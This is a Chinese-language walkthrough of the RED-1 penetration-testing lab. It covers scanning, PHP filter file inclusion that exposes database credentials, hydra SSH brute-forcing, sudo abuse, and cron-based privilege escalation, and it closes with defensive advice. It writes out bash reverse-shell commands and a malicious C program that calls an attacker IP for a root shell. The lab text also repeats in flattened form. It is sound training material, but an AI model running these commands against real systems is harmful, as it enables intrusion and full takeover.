靶场学习记录:RED-1
字数 1153 2025-08-18 17:33:36

RED-1 靶场渗透测试教学文档

靶场概述

RED-1 是一个包含后门漏洞的Linux靶场,渗透路径涉及信息收集、漏洞发现、Web应用攻击、SSH爆破、权限提升等多个环节。本教学文档将详细记录整个渗透过程。

1. 信息收集阶段

1.1 网络扫描

# 扫描同网段存活主机
nmap -sn 192.168.213.0/24

# 确定目标IP后,进行全端口扫描
nmap -p- 192.168.213.142

1.2 Web应用信息收集

  • 访问80端口发现网站被攻击提示,存在后门文件
  • 查看网页源代码发现隐藏主机地址:redrocks.win
  • 在本地配置hosts映射:
vim /etc/hosts
# 添加:192.168.213.142 redrocks.win

2. 漏洞发现

2.1 目录扫描

使用gobuster进行目录扫描:

gobuster dir -u http://redrocks.win -w /path/to/wordlist.txt

发现敏感文件:NetworkFileManagerPHP.php(返回500状态码)

2.2 参数模糊测试

使用wfuzz测试参数:

wfuzz -c -w /path/to/param_wordlist.txt http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test

发现有效参数:key

3. 漏洞利用与Getshell

3.1 文件包含漏洞利用

使用PHP伪协议读取文件内容:

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

解码后得到提示:
"That password alone won't help you! Hashcat says rules are rules"

3.2 数据库配置文件读取

同样方法读取wp-config.php文件,发现数据库凭据:

  • 用户名:john
  • 密码:R3v_m4lwh3r3_k1nG

3.3 SSH爆破

  1. 创建密码文件pass.txt,应用Hashcat的Best64规则
  2. 使用hydra爆破SSH:
hydra -l john -P pass.txt ssh://192.168.213.142

成功获取有效凭据

4. 权限提升

4.1 初始访问

使用爆破得到的凭据登录SSH:

ssh john@192.168.213.142

发现系统命令被修改(cat和vim互换)

4.2 查看sudo权限

sudo -l

发现ippsec用户可以无密码执行:

/usr/bin/time

4.3 提权至ippsec用户

sudo -u ippsec /usr/bin/time /bin/bash

4.4 获取稳定shell

  1. 创建反弹shell脚本shell.sh:
bash -c 'bash -i >& /dev/tcp/192.168.213.129/4444 0>&1'
  1. 本地监听:
nc -lvnp 4444
  1. 升级shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo;fg
reset

4.5 定时任务提权

  1. 使用pspy64s监听进程:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod +x pspy64s
./pspy64s
  1. 发现定时执行的.c文件
  2. 创建恶意.c文件替换原文件:
// 反弹root shell的代码
#include <stdlib.h>
int main(){
    system("bash -c 'bash -i >& /dev/tcp/192.168.213.129/5555 0>&1'");
    return 0;
}
  1. 本地监听5555端口获取root shell

5. 总结与关键点

  1. 信息收集要全面:从网络扫描到源代码审查,每个细节都可能包含关键信息
  2. 伪协议利用:PHP的filter协议在文件包含漏洞中非常有用
  3. 密码规则提示:当遇到密码相关提示时,考虑Hashcat的各种规则
  4. sudo权限检查sudo -l是提权的重要步骤
  5. 不稳定shell处理:使用python或socat升级shell稳定性
  6. 定时任务提权:通过替换定时任务执行的程序是有效的提权方法
  7. 工具使用:熟练使用nmap、gobuster、wfuzz、hydra、pspy等工具

防御建议

  1. 避免在源代码中留下敏感信息
  2. 禁用不必要的PHP伪协议
  3. 使用强密码并定期更换
  4. 限制sudo权限,遵循最小权限原则
  5. 监控系统定时任务和异常进程
  6. 定期进行安全审计和渗透测试
RED-1 靶场渗透测试教学文档 靶场概述 RED-1 是一个包含后门漏洞的Linux靶场,渗透路径涉及信息收集、漏洞发现、Web应用攻击、SSH爆破、权限提升等多个环节。本教学文档将详细记录整个渗透过程。 1. 信息收集阶段 1.1 网络扫描 1.2 Web应用信息收集 访问80端口发现网站被攻击提示,存在后门文件 查看网页源代码发现隐藏主机地址:redrocks.win 在本地配置hosts映射: 2. 漏洞发现 2.1 目录扫描 使用gobuster进行目录扫描: 发现敏感文件: NetworkFileManagerPHP.php (返回500状态码) 2.2 参数模糊测试 使用wfuzz测试参数: 发现有效参数: key 3. 漏洞利用与Getshell 3.1 文件包含漏洞利用 使用PHP伪协议读取文件内容: 解码后得到提示: "That password alone won't help you ! Hashcat says rules are rules" 3.2 数据库配置文件读取 同样方法读取wp-config.php文件,发现数据库凭据: 用户名:john 密码:R3v_ m4lwh3r3_ k1nG 3.3 SSH爆破 创建密码文件pass.txt,应用Hashcat的Best64规则 使用hydra爆破SSH: 成功获取有效凭据 4. 权限提升 4.1 初始访问 使用爆破得到的凭据登录SSH: 发现系统命令被修改(cat和vim互换) 4.2 查看sudo权限 发现ippsec用户可以无密码执行: 4.3 提权至ippsec用户 4.4 获取稳定shell 创建反弹shell脚本shell.sh: 本地监听: 升级shell: 4.5 定时任务提权 使用pspy64s监听进程: 发现定时执行的.c文件 创建恶意.c文件替换原文件: 本地监听5555端口获取root shell 5. 总结与关键点 信息收集要全面 :从网络扫描到源代码审查,每个细节都可能包含关键信息 伪协议利用 :PHP的filter协议在文件包含漏洞中非常有用 密码规则提示 :当遇到密码相关提示时,考虑Hashcat的各种规则 sudo权限检查 : sudo -l 是提权的重要步骤 不稳定shell处理 :使用python或socat升级shell稳定性 定时任务提权 :通过替换定时任务执行的程序是有效的提权方法 工具使用 :熟练使用nmap、gobuster、wfuzz、hydra、pspy等工具 防御建议 避免在源代码中留下敏感信息 禁用不必要的PHP伪协议 使用强密码并定期更换 限制sudo权限,遵循最小权限原则 监控系统定时任务和异常进程 定期进行安全审计和渗透测试